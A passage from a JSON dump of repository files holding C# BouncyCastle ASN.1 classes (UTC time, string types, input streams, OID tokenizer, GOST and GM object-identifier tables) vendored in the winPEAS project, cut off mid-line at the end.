    "content": "﻿using System;\nusing System.Globalization;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n   * UTC time object.\n   */\n\tpublic class DerUtcTime\n\t\t: Asn1Object\n\t{\n\t\tprivate readonly string time;\n\n\t\t/**\n         * return an UTC Time from the passed in object.\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n\t\tpublic static DerUtcTime GetInstance(\n\t\t\tobject obj)\n\t\t{\n\t\t\tif (obj == null || obj is DerUtcTime)\n\t\t\t{\n\t\t\t\treturn (DerUtcTime)obj;\n\t\t\t}\n\n\t\t\tthrow new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n\t\t}\n\n\t\t/**\n         * return an UTC Time from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n\t\tpublic static DerUtcTime GetInstance(\n\t\t\tAsn1TaggedObject obj,\n\t\t\tbool isExplicit)\n\t\t{\n\t\t\tAsn1Object o = obj.GetObject();\n\n\t\t\tif (isExplicit || o is DerUtcTime)\n\t\t\t{\n\t\t\t\treturn GetInstance(o);\n\t\t\t}\n\n\t\t\treturn new DerUtcTime(((Asn1OctetString)o).GetOctets());\n\t\t}\n\n\t\t/**\n         * The correct format for this is YYMMDDHHMMSSZ (it used to be that seconds were\n         * never encoded. When you're creating one of these objects from scratch, that's\n         * what you want to use, otherwise we'll try to deal with whatever Gets read from\n         * the input stream... (this is why the input format is different from the GetTime()\n         * method output).\n         * <p>\n         * @param time the time string.</p>\n         */\n\t\tpublic DerUtcTime(\n\t\t\tstring time)\n\t\t{\n\t\t\tif (time == null)\n\t\t\t\tthrow new ArgumentNullException(\"time\");\n\n\t\t\tthis.time = time;\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\tToDateTime();\n\t\t\t}\n\t\t\tcatch (FormatException e)\n\t\t\t{\n\t\t\t\tthrow new ArgumentException(\"invalid date string: \" + e.Message);\n\t\t\t}\n\t\t}\n\n\t\t/**\n         * base constructor from a DateTime object\n         */\n\t\tpublic DerUtcTime(\n\t\t\tDateTime time)\n\t\t{\n#if PORTABLE\n            this.time = time.ToUniversalTime().ToString(\"yyMMddHHmmss\", CultureInfo.InvariantCulture) + \"Z\";\n#else\n\t\t\tthis.time = time.ToString(\"yyMMddHHmmss\", CultureInfo.InvariantCulture) + \"Z\";\n#endif\n\t\t}\n\n\t\tinternal DerUtcTime(\n\t\t\tbyte[] bytes)\n\t\t{\n\t\t\t//\n\t\t\t// explicitly convert to characters\n\t\t\t//\n\t\t\tthis.time = Strings.FromAsciiByteArray(bytes);\n\t\t}\n\n\t\t//\t\tpublic DateTime ToDateTime()\n\t\t//\t\t{\n\t\t//\t\t\tstring tm = this.AdjustedTimeString;\n\t\t//\n\t\t//\t\t\treturn new DateTime(\n\t\t//\t\t\t\tInt16.Parse(tm.Substring(0, 4)),\n\t\t//\t\t\t\tInt16.Parse(tm.Substring(4, 2)),\n\t\t//\t\t\t\tInt16.Parse(tm.Substring(6, 2)),\n\t\t//\t\t\t\tInt16.Parse(tm.Substring(8, 2)),\n\t\t//\t\t\t\tInt16.Parse(tm.Substring(10, 2)),\n\t\t//\t\t\t\tInt16.Parse(tm.Substring(12, 2)));\n\t\t//\t\t}\n\n\t\t/**\n\t\t * return the time as a date based on whatever a 2 digit year will return. For\n\t\t * standardised processing use ToAdjustedDateTime().\n\t\t *\n\t\t * @return the resulting date\n\t\t * @exception ParseException if the date string cannot be parsed.\n\t\t */\n\t\tpublic DateTime ToDateTime()\n\t\t{\n\t\t\treturn ParseDateString(TimeString, @\"yyMMddHHmmss'GMT'zzz\");\n\t\t}\n\n\t\t/**\n\t\t* return the time as an adjusted date\n\t\t* in the range of 1950 - 2049.\n\t\t*\n\t\t* @return a date in the range of 1950 to 2049.\n\t\t* @exception ParseException if the date string cannot be parsed.\n\t\t*/\n\t\tpublic DateTime ToAdjustedDateTime()\n\t\t{\n\t\t\treturn ParseDateString(AdjustedTimeString, @\"yyyyMMddHHmmss'GMT'zzz\");\n\t\t}\n\n\t\tprivate DateTime ParseDateString(\n\t\t\tstring dateStr,\n\t\t\tstring formatStr)\n\t\t{\n\t\t\tDateTime dt = DateTime.ParseExact(\n\t\t\t\tdateStr,\n\t\t\t\tformatStr,\n\t\t\t\tDateTimeFormatInfo.InvariantInfo);\n\n\t\t\treturn dt.ToUniversalTime();\n\t\t}\n\n\t\t/**\n         * return the time - always in the form of\n         *  YYMMDDhhmmssGMT(+hh:mm|-hh:mm).\n         * <p>\n         * Normally in a certificate we would expect \"Z\" rather than \"GMT\",\n         * however adding the \"GMT\" means we can just use:\n         * <pre>\n         *     dateF = new SimpleDateFormat(\"yyMMddHHmmssz\");\n         * </pre>\n         * To read in the time and Get a date which is compatible with our local\n         * time zone.</p>\n         * <p>\n         * <b>Note:</b> In some cases, due to the local date processing, this\n         * may lead to unexpected results. If you want to stick the normal\n         * convention of 1950 to 2049 use the GetAdjustedTime() method.</p>\n         */\n\t\tpublic string TimeString\n\t\t{\n\t\t\tget\n\t\t\t{\n\t\t\t\t//\n\t\t\t\t// standardise the format.\n\t\t\t\t//\n\t\t\t\tif (time.IndexOf('-') < 0 && time.IndexOf('+') < 0)\n\t\t\t\t{\n\t\t\t\t\tif (time.Length == 11)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn time.Substring(0, 10) + \"00GMT+00:00\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\treturn time.Substring(0, 12) + \"GMT+00:00\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tint index = time.IndexOf('-');\n\t\t\t\t\tif (index < 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tindex = time.IndexOf('+');\n\t\t\t\t\t}\n\t\t\t\t\tstring d = time;\n\n\t\t\t\t\tif (index == time.Length - 3)\n\t\t\t\t\t{\n\t\t\t\t\t\td += \"00\";\n\t\t\t\t\t}\n\n\t\t\t\t\tif (index == 10)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn d.Substring(0, 10) + \"00GMT\" + d.Substring(10, 3) + \":\" + d.Substring(13, 2);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\treturn d.Substring(0, 12) + \"GMT\" + d.Substring(12, 3) + \":\" + d.Substring(15, 2);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t[Obsolete(\"Use 'AdjustedTimeString' property instead\")]\n\t\tpublic string AdjustedTime\n\t\t{\n\t\t\tget { return AdjustedTimeString; }\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Return a time string as an adjusted date with a 4 digit year.\n\t\t/// This goes in the range of 1950 - 2049.\n\t\t/// </summary>\n\t\tpublic string AdjustedTimeString\n\t\t{\n\t\t\tget\n\t\t\t{\n\t\t\t\tstring d = TimeString;\n\t\t\t\tstring c = d[0] < '5' ? \"20\" : \"19\";\n\n\t\t\t\treturn c + d;\n\t\t\t}\n\t\t}\n\n\t\tprivate byte[] GetOctets()\n\t\t{\n\t\t\treturn Strings.ToAsciiByteArray(time);\n\t\t}\n\n\t\tinternal override void Encode(\n\t\t\tDerOutputStream derOut)\n\t\t{\n\t\t\tderOut.WriteEncoded(Asn1Tags.UtcTime, GetOctets());\n\t\t}\n\n\t\tprotected override bool Asn1Equals(\n\t\t\tAsn1Object asn1Object)\n\t\t{\n\t\t\tDerUtcTime other = asn1Object as DerUtcTime;\n\n\t\t\tif (other == null)\n\t\t\t\treturn false;\n\n\t\t\treturn this.time.Equals(other.time);\n\t\t}\n\n\t\tprotected override int Asn1GetHashCode()\n\t\t{\n\t\t\treturn time.GetHashCode();\n\t\t}\n\n\t\tpublic override string ToString()\n\t\t{\n\t\t\treturn time;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerUtf8String.cs",
    "content": "﻿using System;\nusing System.Text;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n    * Der UTF8String object.\n    */\n    public class DerUtf8String\n        : DerStringBase\n    {\n        private readonly string str;\n\n        /**\n         * return an UTF8 string from the passed in object.\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerUtf8String GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerUtf8String)\n            {\n                return (DerUtf8String)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * return an UTF8 string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerUtf8String GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerUtf8String)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerUtf8String(Asn1OctetString.GetInstance(o).GetOctets());\n        }\n\n        /**\n         * basic constructor - byte encoded string.\n         */\n        public DerUtf8String(\n            byte[] str)\n            : this(Encoding.UTF8.GetString(str, 0, str.Length))\n        {\n        }\n\n        /**\n         * basic constructor\n         */\n        public DerUtf8String(\n            string str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            this.str = str;\n        }\n\n        public override string GetString()\n        {\n            return str;\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerUtf8String other = asn1Object as DerUtf8String;\n\n            if (other == null)\n                return false;\n\n            return this.str.Equals(other.str);\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.Utf8String, Encoding.UTF8.GetBytes(str));\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerVideotexString.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerVideotexString\n       : DerStringBase\n    {\n        private readonly byte[] mString;\n\n        /**\n         * return a Videotex String from the passed in object\n         *\n         * @param obj a DERVideotexString or an object that can be converted into one.\n         * @exception IllegalArgumentException if the object cannot be converted.\n         * @return a DERVideotexString instance, or null.\n         */\n        public static DerVideotexString GetInstance(object obj)\n        {\n            if (obj == null || obj is DerVideotexString)\n            {\n                return (DerVideotexString)obj;\n            }\n\n            if (obj is byte[])\n            {\n                try\n                {\n                    return (DerVideotexString)FromByteArray((byte[])obj);\n                }\n                catch (Exception e)\n                {\n                    throw new ArgumentException(\"encoding error in GetInstance: \" + e.ToString(), \"obj\");\n                }\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        /**\n         * return a Videotex String from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicit true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception IllegalArgumentException if the tagged object cannot\n         *               be converted.\n         * @return a DERVideotexString instance, or null.\n         */\n        public static DerVideotexString GetInstance(Asn1TaggedObject obj, bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerVideotexString)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerVideotexString(((Asn1OctetString)o).GetOctets());\n        }\n\n        /**\n         * basic constructor - with bytes.\n         * @param string the byte encoding of the characters making up the string.\n         */\n        public DerVideotexString(byte[] encoding)\n        {\n            this.mString = Arrays.Clone(encoding);\n        }\n\n        public override string GetString()\n        {\n            return Strings.FromByteArray(mString);\n        }\n\n        public byte[] GetOctets()\n        {\n            return Arrays.Clone(mString);\n        }\n\n        internal override void Encode(DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.VideotexString, mString);\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return Arrays.GetHashCode(mString);\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerVideotexString other = asn1Object as DerVideotexString;\n\n            if (other == null)\n                return false;\n\n            return Arrays.AreEqual(mString, other.mString);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerVisibleString.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n    * Der VisibleString object.\n    */\n    public class DerVisibleString\n        : DerStringBase\n    {\n        private readonly string str;\n\n        /**\n         * return a Visible string from the passed in object.\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerVisibleString GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerVisibleString)\n            {\n                return (DerVisibleString)obj;\n            }\n\n            if (obj is Asn1OctetString)\n            {\n                return new DerVisibleString(((Asn1OctetString)obj).GetOctets());\n            }\n\n            if (obj is Asn1TaggedObject)\n            {\n                return GetInstance(((Asn1TaggedObject)obj).GetObject());\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * return a Visible string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerVisibleString GetInstance(\n            Asn1TaggedObject obj,\n            bool explicitly)\n        {\n            return GetInstance(obj.GetObject());\n        }\n\n        /**\n         * basic constructor - byte encoded string.\n         */\n        public DerVisibleString(\n            byte[] str)\n            : this(Strings.FromAsciiByteArray(str))\n        {\n        }\n\n        /**\n         * basic constructor\n         */\n        public DerVisibleString(\n            string str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            this.str = str;\n        }\n\n        public override string GetString()\n        {\n            return str;\n        }\n\n        public byte[] GetOctets()\n        {\n            return Strings.ToAsciiByteArray(str);\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.VisibleString, GetOctets());\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerVisibleString other = asn1Object as DerVisibleString;\n\n            if (other == null)\n                return false;\n\n            return this.str.Equals(other.str);\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return this.str.GetHashCode();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IAsn1ApplicationSpecificParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public interface IAsn1ApplicationSpecificParser\n         : IAsn1Convertible\n    {\n        IAsn1Convertible ReadObject();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IAsn1Choice.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n\t  * Marker interface for CHOICE objects - if you implement this in a roll-your-own\n\t  * object, any attempt to tag the object implicitly will convert the tag to an\n\t  * explicit one as the encoding rules require.\n\t  * <p>\n\t  * If you use this interface your class should also implement the getInstance\n\t  * pattern which takes a tag object and the tagging mode used. \n\t  * </p>\n\t  */\n\tpublic interface IAsn1Choice\n\t{\n\t\t// marker interface\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IAsn1Convertible.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public interface IAsn1Convertible\n\t{\n\t\tAsn1Object ToAsn1Object();\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IAsn1String.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n     * basic interface for Der string objects.\n     */\n    public interface IAsn1String\n    {\n        string GetString();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IndefiniteLengthInputStream.cs",
    "content": "﻿using System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    class IndefiniteLengthInputStream\n    : LimitedInputStream\n    {\n        private int _lookAhead;\n        private bool _eofOn00 = true;\n\n        internal IndefiniteLengthInputStream(\n            Stream inStream,\n            int limit)\n            : base(inStream, limit)\n        {\n            _lookAhead = RequireByte();\n            CheckForEof();\n        }\n\n        internal void SetEofOn00(\n            bool eofOn00)\n        {\n            _eofOn00 = eofOn00;\n            if (_eofOn00)\n            {\n                CheckForEof();\n            }\n        }\n\n        private bool CheckForEof()\n        {\n            if (_lookAhead == 0x00)\n            {\n                int extra = RequireByte();\n                if (extra != 0)\n                {\n                    throw new IOException(\"malformed end-of-contents marker\");\n                }\n\n                _lookAhead = -1;\n                SetParentEofDetect(true);\n                return true;\n            }\n            return _lookAhead < 0;\n        }\n\n        public override int Read(\n            byte[] buffer,\n            int offset,\n            int count)\n        {\n            // Only use this optimisation if we aren't checking for 00\n            if (_eofOn00 || count <= 1)\n                return base.Read(buffer, offset, count);\n\n            if (_lookAhead < 0)\n                return 0;\n\n            int numRead = _in.Read(buffer, offset + 1, count - 1);\n\n            if (numRead <= 0)\n            {\n                // Corrupted stream\n                throw new EndOfStreamException();\n            }\n\n            buffer[offset] = (byte)_lookAhead;\n            _lookAhead = RequireByte();\n\n            return numRead + 1;\n        }\n\n        public override int ReadByte()\n        {\n            if (_eofOn00 && CheckForEof())\n                return -1;\n\n            int result = _lookAhead;\n            _lookAhead = RequireByte();\n            return result;\n        }\n\n        private int RequireByte()\n        {\n            int b = _in.ReadByte();\n            if (b < 0)\n            {\n                // Corrupted stream\n                throw new EndOfStreamException();\n            }\n            return b;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/LimitedInputStream.cs",
    "content": "﻿using System.IO;\nusing winPEAS._3rdParty.BouncyCastle.util.io;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    internal abstract class LimitedInputStream\n       : BaseInputStream\n    {\n        protected readonly Stream _in;\n        private int _limit;\n\n        internal LimitedInputStream(Stream inStream, int limit)\n        {\n            this._in = inStream;\n            this._limit = limit;\n        }\n\n        internal virtual int Limit\n        {\n            get { return _limit; }\n        }\n\n        protected virtual void SetParentEofDetect(bool on)\n        {\n            if (_in is IndefiniteLengthInputStream)\n            {\n                ((IndefiniteLengthInputStream)_in).SetEofOn00(on);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/OidTokenizer.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n     * class for breaking up an Oid into it's component tokens, ala\n     * java.util.StringTokenizer. We need this class as some of the\n     * lightweight Java environment don't support classes like\n     * StringTokenizer.\n     */\n    public class OidTokenizer\n    {\n        private string oid;\n        private int index;\n\n        public OidTokenizer(\n            string oid)\n        {\n            this.oid = oid;\n        }\n\n        public bool HasMoreTokens\n        {\n            get { return index != -1; }\n        }\n\n        public string NextToken()\n        {\n            if (index == -1)\n            {\n                return null;\n            }\n\n            int end = oid.IndexOf('.', index);\n            if (end == -1)\n            {\n                string lastToken = oid.Substring(index);\n                index = -1;\n                return lastToken;\n            }\n\n            string nextToken = oid.Substring(index, end - index);\n            index = end + 1;\n            return nextToken;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/cryptopro/CryptoProObjectIdentifiers.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1.cryptopro\n{\n    public abstract class CryptoProObjectIdentifiers\n    {\n        // GOST Algorithms OBJECT IDENTIFIERS :\n        // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2)}\n        public const string GostID = \"1.2.643.2.2\";\n\n        public static readonly DerObjectIdentifier GostR3411 = new DerObjectIdentifier(GostID + \".9\");\n        public static readonly DerObjectIdentifier GostR3411Hmac = new DerObjectIdentifier(GostID + \".10\");\n\n        public static readonly DerObjectIdentifier GostR28147Cbc = new DerObjectIdentifier(GostID + \".21\");\n\n        public static readonly DerObjectIdentifier ID_Gost28147_89_CryptoPro_A_ParamSet = new DerObjectIdentifier(GostID + \".31.1\");\n\n        public static readonly DerObjectIdentifier GostR3410x94 = new DerObjectIdentifier(GostID + \".20\");\n        public static readonly DerObjectIdentifier GostR3410x2001 = new DerObjectIdentifier(GostID + \".19\");\n        public static readonly DerObjectIdentifier GostR3411x94WithGostR3410x94 = new DerObjectIdentifier(GostID + \".4\");\n        public static readonly DerObjectIdentifier GostR3411x94WithGostR3410x2001 = new DerObjectIdentifier(GostID + \".3\");\n\n        // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2) hashes(30) }\n        public static readonly DerObjectIdentifier GostR3411x94CryptoProParamSet = new DerObjectIdentifier(GostID + \".30.1\");\n\n        // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2) signs(32) }\n        public static readonly DerObjectIdentifier GostR3410x94CryptoProA = new DerObjectIdentifier(GostID + \".32.2\");\n        public static readonly DerObjectIdentifier GostR3410x94CryptoProB = new DerObjectIdentifier(GostID + \".32.3\");\n        public static readonly DerObjectIdentifier GostR3410x94CryptoProC = new DerObjectIdentifier(GostID + \".32.4\");\n        public static readonly DerObjectIdentifier GostR3410x94CryptoProD = new DerObjectIdentifier(GostID + \".32.5\");\n\n        // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2) exchanges(33) }\n        public static readonly DerObjectIdentifier GostR3410x94CryptoProXchA = new DerObjectIdentifier(GostID + \".33.1\");\n        public static readonly DerObjectIdentifier GostR3410x94CryptoProXchB = new DerObjectIdentifier(GostID + \".33.2\");\n        public static readonly DerObjectIdentifier GostR3410x94CryptoProXchC = new DerObjectIdentifier(GostID + \".33.3\");\n\n        //{ iso(1) member-body(2)ru(643) rans(2) cryptopro(2) ecc-signs(35) }\n        public static readonly DerObjectIdentifier GostR3410x2001CryptoProA = new DerObjectIdentifier(GostID + \".35.1\");\n        public static readonly DerObjectIdentifier GostR3410x2001CryptoProB = new DerObjectIdentifier(GostID + \".35.2\");\n        public static readonly DerObjectIdentifier GostR3410x2001CryptoProC = new DerObjectIdentifier(GostID + \".35.3\");\n\n        // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2) ecc-exchanges(36) }\n        public static readonly DerObjectIdentifier GostR3410x2001CryptoProXchA = new DerObjectIdentifier(GostID + \".36.0\");\n        public static readonly DerObjectIdentifier GostR3410x2001CryptoProXchB = new DerObjectIdentifier(GostID + \".36.1\");\n\n        public static readonly DerObjectIdentifier GostElSgDH3410Default = new DerObjectIdentifier(GostID + \".36.0\");\n        public static readonly DerObjectIdentifier GostElSgDH3410x1 = new DerObjectIdentifier(GostID + \".36.1\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/gm/GMObjectIdentifiers.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1.gm\n{\n    public abstract class GMObjectIdentifiers\n    {\n        public static readonly DerObjectIdentifier sm_scheme = new DerObjectIdentifier(\"1.2.156.10197.1\");\n\n        public static readonly DerObjectIdentifier sm6_ecb = sm_scheme.Branch(\"101.1\");\n        public static readonly DerObjectIdentifier sm6_cbc = sm_scheme.Branch(\"101.2\");\n        public static readonly DerObjectIdentifier sm6_ofb128 = sm_scheme.Branch(\"101.3\");\n        public static readonly DerObjectIdentifier sm6_cfb128 = sm_scheme.Branch(\"101.4\");\n\n        public static readonly DerObjectIdentifier sm1_ecb = sm_scheme.Branch(\"102.1\");\n        public static readonly DerObjectIdentifier sm1_cbc = sm_scheme.Branch(\"102.2\");\n        public static readonly DerObjectIdentifier sm1_ofb128 = sm_scheme.Branch(\"102.3\");\n        public static readonly DerObjectIdentifier sm1_cfb128 = sm_scheme.Branch(\"102.4\");\n        public static readonly DerObjectIdentifier sm1_cfb1 = sm_scheme.Branch(\"102.5\");\n        public static readonly DerObjectIdentifier sm1_cfb8 = sm_scheme.Branch(\"102.6\");\n\n        public static readonly DerObjectIdentifier ssf33_ecb = sm_scheme.Branch(\"103.1\");\n        public static readonly DerObjectIdentifier ssf33_cbc = sm_scheme.Branch(\"103.2\");\n        public static readonly DerObjectIdentifier ssf33_ofb128 = sm_scheme.Branch(\"103.3\");\n        public static readonly DerObjectIdentifier ssf33_cfb128 = sm_scheme.Branch(\"103.4\");\n        public static readonly DerObjectIdentifier ssf33_cfb1 = sm_scheme.Branch(\"103.5\");\n        public static readonly DerObjectIdentifier ssf33_cfb8 = sm_scheme.Branch(\"103.6\");\n\n        public static readonly DerObjectIdentifier sms4_ecb = sm_scheme.Branch(\"104.1\");\n        public static readonly DerObjectIdentifier sms4_cbc = sm_scheme.Branch(\"104.2\");\n        public static readonly DerObjectIdentifier sms4_ofb128 = sm_scheme.Branch(\"104.3\");\n        public static readonly DerObjectIdentifier sms4_cfb128 = sm_scheme.Branch(\"104.4\");\n        public static readonly DerObjectIdentifier sms4_cfb1 = sm_scheme.Branch(\"104.5\");\n        public static readonly DerObjectIdentifier sms4_cfb8 = sm_scheme.Branch(\"104.6\");\n        public static readonly DerObjectIdentifier sms4_ctr = sm_scheme.Branch(\"104.7\");\n        public static readonly DerObjectIdentifier sms4_gcm = sm_scheme.Branch(\"104.8\");\n        public static readonly DerObjectIdentifier sms4_ccm = sm_scheme.Branch(\"104.9\");\n        public static readonly DerObjectIdentifier sms4_xts = sm_scheme.Branch(\"104.10\");\n        public static readonly DerObjectIdentifier sms4_wrap = sm_scheme.Branch(\"104.11\");\n        public static readonly DerObjectIdentifier sms4_wrap_pad = sm_scheme.Branch(\"104.12\");\n        public static readonly DerObjectIdentifier sms4_ocb = sm_scheme.Branch(\"104.100\");\n\n        public static readonly DerObjectIdentifier sm5 = sm_scheme.Branch(\"201\");\n\n        public static readonly DerObjectIdentifier sm2p256v1 = sm_scheme.Branch(\"301\");\n        public static readonly DerObjectIdentifier sm2sign = sm_scheme.Branch(\"301.1\");\n        public static readonly DerObjectIdentifier sm2exchange = sm_scheme.Branch(\"301.2\");\n        public static readonly DerObjectIdentifier sm2encrypt = sm_scheme.Branch(\"301.3\");\n\n        public static readonly DerObjectIdentifier wapip192v1 = sm_scheme.Branch(\"301.101\");\n\n        public static readonly DerObjectIdentifier sm2encrypt_recommendedParameters = sm2encrypt.Branch(\"1\");\n        public static readonly DerObjectIdentifier sm2encrypt_specifiedParameters = sm2encrypt.Branch(\"2\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_sm3 = sm2encrypt.Branch(\"2.1\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_sha1 = sm2encrypt.Branch(\"2.2\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_sha224 = sm2encrypt.Branch(\"2.3\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_sha256 = sm2encrypt.Branch(\"2.4\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_sha384 = sm2encrypt.Branch(\"2.5\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_sha512 = sm2encrypt.Branch(\"2.6\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_rmd160 = sm2encrypt.Branch(\"2.7\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_whirlpool = sm2encrypt.Branch(\"2.8\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_blake2b512 = sm2encrypt.Branch(\"2.9\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_blake2s256 = sm2encrypt.Branch(\"2.10\");\n        public static readonly DerObjectIdentifier sm2encrypt_with_md5 = sm2encrypt.Branch(\"2.11\");\n\n        public static readonly DerObjectIdentifier id_sm9PublicKey = sm_scheme.Branch(\"302\");\n        public static readonly DerObjectIdentifier sm9sign = sm_scheme.Branch(\"302.1\");\n        public static readonly DerObjectIdentifier sm9keyagreement = sm_scheme.Branch(\"302.2\");\n        public static readonly DerObjectIdentifier sm9encrypt = sm_scheme.Branch(\"302.3\");\n\n        public static readonly DerObjectIdentifier sm3 = sm_scheme.Branch(\"401\");\n\n        public static readonly DerObjectIdentifier hmac_sm3 = sm3.Branch(\"2\");\n\n        public static readonly DerObjectIdentifier sm2sign_with_sm3 = sm_scheme.Branch(\"501\");\n        public static readonly DerObjectIdentifier sm2sign_with_sha1 = sm_scheme.Branch(\"502\");\n        public static readonly DerObjectIdentifier sm2sign_with_sha256 = sm_scheme.Branch(\"503\");\n        public static readonly DerObjectIdentifier sm2sign_with_sha512 = sm_scheme.Branch(\"504\");\n        public static readonly DerObjectIdentifier sm2sign_with_sha224 = sm_scheme.Branch(\"505\");\n        public static readonly DerObjectIdentifier sm2sign_with_sha384 = sm_scheme.Branch(\"506\");\n        public static readonly DerObjectIdentifier sm2sign_with_rmd160 = sm_scheme.Branch(\"507\");\n        public static readonly DerObjectIdentifier sm2sign_with_whirlpool = sm_scheme.Branch(\"520\");\n        public static readonly DerObjectIdentifier sm2sign_with_blake2b512 = 